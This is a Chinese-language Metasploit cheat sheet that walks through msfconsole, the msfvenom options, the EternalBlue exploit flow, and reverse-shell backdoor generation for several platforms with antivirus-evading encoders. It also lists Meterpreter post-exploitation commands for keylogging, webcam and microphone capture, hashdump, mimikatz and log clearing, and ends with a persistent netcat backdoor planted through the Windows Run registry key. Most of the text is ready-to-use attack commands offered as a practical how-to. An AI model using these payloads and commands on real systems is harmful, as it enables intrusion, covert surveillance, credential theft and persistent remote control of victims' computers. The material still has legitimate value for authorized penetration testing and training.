目录
一.MSF启动
二.MSF目录结构于核心模块
三.msfvenom常用参数
四.基于MSF发现内网存活主机
五.利用MSF创建后门程序
六.Meterpreter常用命令
常用命令:
文件系统命令:
用户设备命令:
开启远程桌面
收集信息
针对未安装补丁攻击
注册表设置nc后门
1.先启动postgresql数据库,这个是msf 的默认数据库
service postgresql start
2.如果是第一次使用还需要初始化数据库
postgresql enable
3.启动msf控制台
msfconsole
msf的模块都放在
/usr/share/metasploit-framework/modules/这个目录下(这个是kali里面的)
1.auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
2.exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用
3.payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
4.post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
5.encoders:编码器模块,主要包含各种编码工具,对pavload进行编码加密,以便绕过入侵检测和过滤系统
6.evasion:躲避模块,用来生成免杀payload
7nops:这里主要放着调整shellcode前置nop指令长度的工具
这里只需要对前六个模块熟知即可,第七个基本用不到。在渗透测试的时候的利用这六个模块的基本流程就是下面这几步,但不是全部的都是跟下面一样,具体情况具体分析。
msfconsole 1.进入框架
search ms17_010 2.使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue 3.使用use进入模块
info 或options 4.使用info或options查看模块信息
set payload windows/x64/meterpreter/reverse_tcp 5.设置攻击载荷
show options 6.查看模块需要配置的参数
set RHOST 192.168.100.158 7.设置参数
exploit / run 8.攻击
后渗透阶段 9.后渗透阶段
Kali中的msfvenom 取代了msfpayload和msfencode,常用于生成后门木马
msfpayload是MSF攻击荷载生成器,用于生成shellcode和可执行代码
msfencode是MSF编码器
-i 列出指定模块的所有可用资源模块类型包括: payloads,encoders,nops,all
-p 指定需要使用的payload(攻击荷载)。
-f 指定输出格式
Executable formats:Asp、aspx、 aspx-exe、 axis2、 dll、elf、 elf-so、 exe、 exe-only、 exe-service、 exe-smallhta-psh、jar、jsp、 loop-vbs、 macho、 msi msi-nouac、 osx-app、psh、 psh-cmd、 psh-net、pshreflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、 base64、 bash, ccsharp、dw、 dword、 hex、 javajs be、 js le、 num.perl、pl、powershell、ps1、py、 python、raw、rb、ruby、 sh、 vbapplication、 vbscript;
-e 指定需要使用的encoder(编码器)编码免杀
-a 指定payload的目标架构
选择架构平台:x86|x64|x8664
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsdfreebsd, aix, hpux,irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o 保存payload文件输出。
-b 设定规避字符集,比如:x00xf 避免使用的字符
-n为payload预先指定一个NOP滑动长度
-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小
-i 指定payload的编码次数
-c 指定一个附加的win32shellcode文件
-x 指定一个自定义的可执行文件作为模板例如:原先有个正常文件normalexe可以通过这个选项把后门捆绑到这个程序上面
-k 保护模板程序的动作,注入的payload作为一个新的进程运行例如:原先有个正常文件normal.exe可以通过这个选项把后门捆绑到这个程序上面
-v指定一个自定义的变量,以确定输出格式
search 搜索
msf终端内输入 search scanner type:auxiliary(这里也是利用了辅助模块)
可用于发现主机的模块
auxiliary/scanner/discovery/arp_sweep #基于ARP发现内网存活主机auxiliary/scanner/discovery/udp sweep # 基于UDP发现内网存活主机auxiliary/scanner/ftp/ftp_version # 发现FTP服务
auxiliary/scanner/http/http _version # 发现HTTP服务
auxiliary/scanner/smb/smb version # 基于smb发现内网存活主机
想要使用哪个模块去探测存活主机直接use后面跟模块即可
Windoes
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai-b'\x00x0axff\' -i 3 -f exe -o payload.exe
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho
Android //需要签名
msfvenom -a x86--platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -f raw > shell.php
cat shell.php|pbcopy && echo' shell.php && pbpaste >> shell.php
ASP
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口-f aspx -o payloadaspx
创建完的后门程序被目标触发后,可以利用监听模块拿到对方权限,这里就要提到meterpreter了
这里先进入到监听模块:use exploit/multi/handler
然后设置自己的ip和监听的端口,这个端口要和刚才创造的后门里面的端口相同
接着就是设置payload(也是和刚才一样):set payload windows/meterpreter/reverse_tcp
最后直接run即可
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。
sessions -i 进入会话
sessions -k 杀死会话
pwd 查看当前目录
getuid 查看当前用户信息
sysinfo 查看远程主机系统信息
execute 在目标主机上执行命令
hashdump 获取目标主机用户密码hash信息(只要我们能够获取到目标的用户凭证,那么即使目标修补了漏洞,我们还是可以控制目标)
getsystem 提升权限(通过内置的提权组件来尝试获取到系统权限)
shell 切换至传统shell
background 将当前session放入后台
kill 关闭进程
load 加载meterpreter扩展
exit 退出当前shell
arp 显示ARP缓存
getproxy 显示当前代理配置
ifconfig 显示接口
ipconfig 显示接口
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
route 查看和修改路由
getenv 查看环境变量
getprivs 查看权限
pgrep 搜索进程
ps 查看当前运行进程(主要查看有没有杀软,可以通过在线杀软对比来确定)
reboot 重启系统
reg 修改注册表
help 查看相关的命令
migrate 进程迁移(主要是防止当前的会话断开,所以尽快迁移到其他稳定的进程当中去,要注意两点:迁移的进程位数要一致,迁移的权限最好一致)
clearev 清除windows中的应用程序日志、系统日志、安全日志
cat 查看文件
cd 改变目录
checksum 校验文件md5或sha1
cp 拷贝文件
download 下载文件
edit 编辑文件
ls 列出文件
mkdir 创建文件夹
mv 移动文件
rm 删除文件
rmdir 删除文件夹
search 查找文件
show_mount 列出所有驱动器
upload 上传文件
enumdesktops 列出所有可访问的桌面和窗口
getdesktop 获取当前桌面
idletime 获取远程系统已运行时间(从上次重新启动开始计算)
keyboard_send 发送击键
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户的桌面
screenshot 截屏
setdesktop 更改shell当前桌面
uictl 控制用户界面组件
record_mic 记录麦克风一定秒数
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定网络摄像头拍摄
webcam_stream 播放指定网络摄像头的视频流
play 在目标系统播放音频
mimikatz抓取密码
load mimikatz 加载mimikatz模块
help mimikatz 查看帮助
wdigest 获取密码
run vnc 使用vnc连接远程桌面
run getgui -e 开启远程桌面
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 将3389端口转发到6662
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
run post/windows/gather/enum_patches 收集补丁信息
攻击:
msf > use exploit/windows/local/xxxx
msf > set SESSION 2
msf > exploit
upload /usr/share/windows-binaries/nc.exe C:\windows\system32 #上传nc
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run #枚举run下的key
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc #查看键值
nc -v 192.168.159.144 443 #攻击者连接nc后门